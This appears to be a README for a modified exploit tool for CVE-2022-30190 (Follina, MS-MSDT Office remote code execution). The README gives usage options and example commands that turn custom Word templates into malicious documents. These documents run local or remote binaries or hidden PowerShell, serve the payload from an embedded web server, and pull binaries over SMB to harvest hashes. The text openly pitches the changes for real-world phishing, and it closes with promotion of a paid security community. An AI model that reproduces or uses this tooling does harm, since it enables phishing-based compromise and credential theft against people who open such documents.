
Modified CVE-2022-30190 exploit tool for MS-MSDT Office RCE with custom docx template support, binary/command execution modes, and embedded HTTP server for remote payload delivery.
Based on the project from https://github.com/chvancooten/follina.py, modifications have been made to allow custom specification of the docx template file, making it easier for phishing use in real-world scenarios. After editing your own phishing Word document, simply specify it with the -f parameter.
usage: follina.py [-h] -m {binary,command} [-b BINARY] [-f FILE] [-c COMMAND] [-u URL] [-H HOST] [-P PORT]
optional arguments:
-h, --help show this help message and exit
Required Arguments:
-m {binary,command}, --mode {binary,command}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Docx file Arguments:
-f FILE, --file FILE The docx file
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost"
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
Default docx muban.docx
# Execute a local binary
python .\follina.py -m binary -b \windows\system32\calc.exe
python .\follina.py -m binary -b \windows\system32\calc.exe -f muban2.docx
# On linux you may have to escape backslashes
python .\follina.py -m binary -b \\windows\\system32\\calc.exe
# Execute a binary from a file share (can be used to farm hashes 👀)
python .\follina.py -m binary -b \\localhost\c$\windows\system32\calc.exe
# Execute an arbitrary powershell command
python .\follina.py -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Run the web server on the default interface (all interfaces, 0.0.0.0), but tell the malicious document to retrieve it at http://1.2.3.4/exploit.html
python .\follina.py -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Only run the webserver on localhost, on port 8080 instead of 80
python .\follina.py -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080


If you are interested, you can follow the Z2O Security official account, reply with "Join Group", add Z2OBot Little K, and be automatically invited to the Z2O Security Exchange Group to share more good stuff.



The team has set up a knowledge planet (paid community) where we regularly update the latest vulnerability reproductions, guide you step by step, and occasionally share POCs, as well as advanced internal and external penetration testing tricks. Feel free to join if you are interested.




Welcome to star⭐ O(∩_∩)O